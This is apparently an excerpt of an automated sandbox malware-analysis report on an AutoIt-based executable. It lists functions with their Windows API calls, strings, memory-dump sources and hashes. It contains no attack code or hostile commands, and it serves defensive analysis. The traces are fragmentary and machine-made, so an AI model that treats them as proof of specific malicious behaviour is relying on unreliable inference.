GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0060B214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0060B236
_wcslen.LIBCMT ref: 0060B332

Part of subcall function 005F05A7: GetStdHandle.KERNEL32(000000F6), ref: 005F05C6

_wcslen.LIBCMT ref: 0060B34B
_wcslen.LIBCMT ref: 0060B366
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0060B3B6
GetLastError.KERNEL32(00000000), ref: 0060B407
CloseHandle.KERNEL32(?), ref: 0060B439
CloseHandle.KERNEL32(00000000), ref: 0060B44A
CloseHandle.KERNEL32(00000000), ref: 0060B45C
CloseHandle.KERNEL32(00000000), ref: 0060B46E
CloseHandle.KERNEL32(?), ref: 0060B4E3

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: 90f11309a66351ef7c6945840d5d30f1e943e8fdfc4d6356bb685718581b7dfd
Instruction ID: 7220e8515eeed88c9ebd11f6a5f40cc5c09dcede3a11bb20b40d358975d22aa4
Opcode Fuzzy Hash: 90f11309a66351ef7c6945840d5d30f1e943e8fdfc4d6356bb685718581b7dfd
Instruction Fuzzy Hash: C4F18A316442419FCB18EF24C895B6FBBE6BF85310F18845DF8959B2A2DB31EC41CB52

Function 0058D730 Relevance: 21.6, APIs: 14, Instructions: 627windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 0058D807
timeGetTime.WINMM ref: 0058DA07
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0058DB28
TranslateMessage.USER32(?), ref: 0058DB7B
DispatchMessageW.USER32(?), ref: 0058DB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0058DB9F
Sleep.KERNEL32(0000000A), ref: 0058DBB1

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: 8c1f356050d4a4f349a48ce871fedf8dff4e7b19bd906053031fe9381d17a738
Instruction ID: fa5707d371ff4b01a9b431c0d5ee551afa547331a73305ea63fa1f6db7a52095
Opcode Fuzzy Hash: 8c1f356050d4a4f349a48ce871fedf8dff4e7b19bd906053031fe9381d17a738
Instruction Fuzzy Hash: 3042C070604342AFD738EF28C858BAABFF1BF95314F14895AE85597391D770E844CBA2

Function 00582CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00582D07
RegisterClassExW.USER32(00000030), ref: 00582D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00582D42
InitCommonControlsEx.COMCTL32(?), ref: 00582D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00582D6F
LoadIconW.USER32(000000A9), ref: 00582D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00582D94

Strings

+, xrefs: 00582CF0
0, xrefs: 00582CE9
TaskbarCreated, xrefs: 00582D37
AutoIt v3 GUI, xrefs: 00582D23

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 9b00447ee12522577d71d42b8455da9e9ff7d3ed3a779989538c835708a9e94c
Instruction ID: 5eef7c4d45eb9a3cf2ab69df0a3095ec05c812ae80d1d0651f5ba549e918e743
Opcode Fuzzy Hash: 9b00447ee12522577d71d42b8455da9e9ff7d3ed3a779989538c835708a9e94c
Instruction Fuzzy Hash: 2821F2B5D41308AFDB00DFA4EC89BDDBBB6FB09712F04A11AF911AA2A0D7B14540CF90

Function 005C065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005C039A: CreateFileW.KERNEL32(00000000,00000000,?,005C0704,?,?,00000000,?,005C0704,00000000,0000000C), ref: 005C03B7

GetLastError.KERNEL32 ref: 005C076F
__dosmaperr.LIBCMT ref: 005C0776
GetFileType.KERNEL32(00000000), ref: 005C0782
GetLastError.KERNEL32 ref: 005C078C
__dosmaperr.LIBCMT ref: 005C0795
CloseHandle.KERNEL32(00000000), ref: 005C07B5
CloseHandle.KERNEL32(?), ref: 005C08FF
GetLastError.KERNEL32 ref: 005C0931
__dosmaperr.LIBCMT ref: 005C0938

Strings

H, xrefs: 005C08BD

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 021dd45b0b4acf019a1631e5744f84d91d12be3d35ca9823209358759ad83d2c
Instruction ID: 5777cbeaed1fa9b7b0b5d8badc4fda5bbbc5b9a31a21f360a0ef88c12e029037
Opcode Fuzzy Hash: 021dd45b0b4acf019a1631e5744f84d91d12be3d35ca9823209358759ad83d2c
Instruction Fuzzy Hash: 68A11136A002098FDF19EFA8DC55BAE7FA1FB46320F14515DF811AB2D1DB319912CB91

Function 0058344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00583A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00651418,?,00582E7F,?,?,?,00000000), ref: 00583A78

Part of subcall function 00583357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00583379

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 0058356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 005C318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 005C31CE
RegCloseKey.ADVAPI32(?), ref: 005C3210
_wcslen.LIBCMT ref: 005C3277
_wcslen.LIBCMT ref: 005C3286

Strings

Include, xrefs: 005C3184, 005C31C5
Software\AutoIt v3\AutoIt, xrefs: 00583560
\Include\, xrefs: 00583527
\, xrefs: 005C328C

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: d7ed13cc1ab1e10a29423f6551d08fd4492b74a2ba9b945757ac386d5d99cc66
Instruction ID: d70d36366c81274dce692f857efca7df4a24376d0c93debe90d6d48a26eac3ef
Opcode Fuzzy Hash: d7ed13cc1ab1e10a29423f6551d08fd4492b74a2ba9b945757ac386d5d99cc66
Instruction Fuzzy Hash: 09719E714083039EC704EF65DC969ABBFE9FF8A751F44582EF845A7160EB309A48CB52

Function 00582B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00582B8E
LoadCursorW.USER32(00000000,00007F00), ref: 00582B9D
LoadIconW.USER32(00000063), ref: 00582BB3
LoadIconW.USER32(000000A4), ref: 00582BC5
LoadIconW.USER32(000000A2), ref: 00582BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00582BEF
RegisterClassExW.USER32(?), ref: 00582C40

Part of subcall function 00582CD4: GetSysColorBrush.USER32(0000000F), ref: 00582D07
Part of subcall function 00582CD4: RegisterClassExW.USER32(00000030), ref: 00582D31
Part of subcall function 00582CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00582D42
Part of subcall function 00582CD4: InitCommonControlsEx.COMCTL32(?), ref: 00582D5F
Part of subcall function 00582CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00582D6F
Part of subcall function 00582CD4: LoadIconW.USER32(000000A9), ref: 00582D85
Part of subcall function 00582CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00582D94

Strings

#, xrefs: 00582C16
0, xrefs: 00582C0F
AutoIt v3, xrefs: 00582C2F

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 5d2033b5c2c368b466f9961d487460a9f8da2230d1c595ef6b23cb1db74c8757
Instruction ID: cb189c27d89a61826d12674bc861318db5fbf29583b348a590a28aab517f82ec
Opcode Fuzzy Hash: 5d2033b5c2c368b466f9961d487460a9f8da2230d1c595ef6b23cb1db74c8757
Instruction Fuzzy Hash: 9D215E70E40314AFDB10DFA5EC69BAD7FB6FB49B51F04615AF500AA6A0D3B10A40CF90

Function 0058B710 Relevance: 16.3, APIs: 1, Strings: 8, Instructions: 587COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0058BB4E

Strings

p#e, xrefs: 005D0263
p#e, xrefs: 005D024F
p%e, xrefs: 0058B8DC
x#e, xrefs: 005D0207
p%e, xrefs: 0058BB32
p#e, xrefs: 0058BB6B
p#e, xrefs: 0058BA72
x#e, xrefs: 005D0168

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Init_thread_footer
String ID: p#e$p#e$p#e$p#e$p%e$p%e$x#e$x#e
API String ID: 1385522511-1966721020
Opcode ID: 9f03c06c1cc0489d758048f5a99388633cca6c07a7a0d584d9d4fa20ee2bc9b2
Instruction ID: 25dc518241fa72b7b87c41d3137360b00a8fc442a79e1e165ded8c6bec3f24c2
Opcode Fuzzy Hash: 9f03c06c1cc0489d758048f5a99388633cca6c07a7a0d584d9d4fa20ee2bc9b2
Instruction Fuzzy Hash: 52327D74A0020A9FEB24EF58C894BBEBBBAFF45310F14845AED05AB391D774AD41CB51

Function 00583170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,0058316A,?,?), ref: 005831D8
KillTimer.USER32(?,00000001,?,?,?,?,?,0058316A,?,?), ref: 00583204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00583227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,0058316A,?,?), ref: 00583232
CreatePopupMenu.USER32 ref: 00583246
PostQuitMessage.USER32(00000000), ref: 00583267

Strings

TaskbarCreated, xrefs: 0058322D

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 300621f119f725fdc8e69803439c01fd6b2e8b5a46699d1f0b16ac59a74703b6
Instruction ID: 0161df47a3d8d27a9bb7930a08d09205cd644a205c486499f314a888a046ba13
Opcode Fuzzy Hash: 300621f119f725fdc8e69803439c01fd6b2e8b5a46699d1f0b16ac59a74703b6
Instruction Fuzzy Hash: E3412735240205ABDB147B78DC2DBBD3E1AF746F11F045129FD02AA1E1C7A19A41C761

Function 0058DFD0 Relevance: 15.4, APIs: 2, Strings: 6, Instructions: 1414COMMON

Download Yara Rule

Strings

D%e, xrefs: 005D2FDA
D%eD%e, xrefs: 0058E27E
D%e, xrefs: 005D302D
Variable must be of type 'Object'., xrefs: 005D32B7
D%e, xrefs: 0058E1E0
D%e, xrefs: 0058E4B1

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID:
String ID: D%e$D%e$D%e$D%e$D%eD%e$Variable must be of type 'Object'.
API String ID: 0-3541588830
Opcode ID: 2a6b3aee18270a3f3783d53024d9519de92b63f3a80c8fa024fd4ea74e1aab13
Instruction ID: 2ae423ffb8e7bca5d8e2754ac112b54d3c49e36d9bd7b119e492dc72ec7b57cd
Opcode Fuzzy Hash: 2a6b3aee18270a3f3783d53024d9519de92b63f3a80c8fa024fd4ea74e1aab13
Instruction Fuzzy Hash: DFC28B71A00205CFCB24EF58C886AADBBB1BF59300F24856AED46BB391D775ED41CB91

Function 0058EC40 Relevance: 15.2, APIs: 3, Strings: 5, Instructions: 1195COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0058FE66

Strings

D%e, xrefs: 005D491E
D%e, xrefs: 005D4972
D%e, xrefs: 0058EFB7
D%e, xrefs: 0058F36A
D%eD%e, xrefs: 0058F05B

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Init_thread_footer
String ID: D%e$D%e$D%e$D%e$D%eD%e
API String ID: 1385522511-2052108646
Opcode ID: b748274743baab5a3d732c73f3857d199184dd82c86d71ad91237940972ecdb0
Instruction ID: aa8efd02d048bdc6a84fb11297a66ab3e84c2f688ae67f6238707733c48b79bc
Opcode Fuzzy Hash: b748274743baab5a3d732c73f3857d199184dd82c86d71ad91237940972ecdb0
Instruction Fuzzy Hash: DCB27A74608301CFDB24EF18C495A2ABBF1BB99314F24486EE886AB351D771ED45CF92

Function 00581410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00581459
CoUninitialize.COMBASE ref: 005814F8
UnregisterHotKey.USER32(?), ref: 005816DD
DestroyWindow.USER32(?), ref: 005C24B9
FreeLibrary.KERNEL32(?), ref: 005C251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 005C254B

Strings

close all, xrefs: 00581454

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: e4862093aaa5e765f9d3c9772b16a7294463760fd70d8552f043b5b33ab7a5d2
Instruction ID: fed8bb9a0b6f09fbcfe40515938bed178bdccc5ea5bcaee3d372bef8301a615f
Opcode Fuzzy Hash: e4862093aaa5e765f9d3c9772b16a7294463760fd70d8552f043b5b33ab7a5d2
Instruction Fuzzy Hash: CBD179307016128FCB19EF55C899F69FBA9BF45710F1446ADE84ABB262DB30AC12CF54

Function 005EDE27 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000101,?), ref: 005EDE42
gethostname.WS2_32(?,00000100), ref: 005EDE5C
gethostbyname.WS2_32(?), ref: 005EDE69
inet_ntoa.WSOCK32(?), ref: 005EDEAB
_strcat.LIBCMT ref: 005EDEB9
WSACleanup.WSOCK32 ref: 005EDEDE

Strings

0.0.0.0, xrefs: 005EDE87

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 642191829-3771769585
Opcode ID: caee00a35da8767d5ff62913e2497ba42a6e9662f94eb6912180bc615b698117
Instruction ID: caa00988461ec10407e5dfa44eee6f7055e122583a34857f0c9a5806f3f2cac1
Opcode Fuzzy Hash: caee00a35da8767d5ff62913e2497ba42a6e9662f94eb6912180bc615b698117
Instruction Fuzzy Hash: BB11E771904115AFCB246B61DC4EDEF7FBDFB55720F05016AF44596091EFB18A818A60

Function 00582C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00582C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00582CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,00581CAD,?), ref: 00582CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,00581CAD,?), ref: 00582CCF

Strings

edit, xrefs: 00582CAC
AutoIt v3, xrefs: 00582C89, 00582C8E, 00582C8F

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: cf207025e39c0d86d3d2dc1ad347755986ebbbcefb0614e37983252362a14921
Instruction ID: 7fbd7b429cdbd3f94d60b68b4a0956ca542375893921ef6d928a4890dd95b864
Opcode Fuzzy Hash: cf207025e39c0d86d3d2dc1ad347755986ebbbcefb0614e37983252362a14921
Instruction Fuzzy Hash: 78F017755803907AEB204B23AC28FBB2EBED7C7F61F05601AF900EA1B0C2610840DAB0

Function 00583B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00583B0F,SwapMouseButtons,00000004,?), ref: 00583B40
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00583B0F,SwapMouseButtons,00000004,?), ref: 00583B61
RegCloseKey.KERNEL32(00000000,?,?,?,80000001,80000001,?,00583B0F,SwapMouseButtons,00000004,?), ref: 00583B83

Strings

Control Panel\Mouse, xrefs: 00583B3E

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: ea6cfb983ffcbc188121144c5440bc5e14cf679728ba55670d94a00b1c1675e9
Instruction ID: 385b3950b8914bc5bf56ad54ce5e93fdc4b15abf06ee8d914bfde9c651e529a7
Opcode Fuzzy Hash: ea6cfb983ffcbc188121144c5440bc5e14cf679728ba55670d94a00b1c1675e9
Instruction Fuzzy Hash: 26112AB5510208FFDB20DFA5DC45AEEBBB9FF04B96B10885AAC05E7110E2319F409760

Function 005DD3A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(?,GetSystemWow64DirectoryW), ref: 005DD3BF
FreeLibrary.KERNEL32 ref: 005DD3E5

Strings

X64, xrefs: 005DD2A8
GetSystemWow64DirectoryW, xrefs: 005DD3B9

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 3013587201-2590602151
Opcode ID: 1e7f61ed0fc89091786e16d3c166403aa9265f8b6fbf16ae1b7467d474df883a
Instruction ID: e6a1109d5331c5a736adcc8edb5bc62609d5ddb42c08b8e63e01d99a1789827e
Opcode Fuzzy Hash: 1e7f61ed0fc89091786e16d3c166403aa9265f8b6fbf16ae1b7467d474df883a
Instruction Fuzzy Hash: 83F055258C2621EBC7714A188C28EAD3F32BF01701BAD9817E802E5304D720CC8482B2

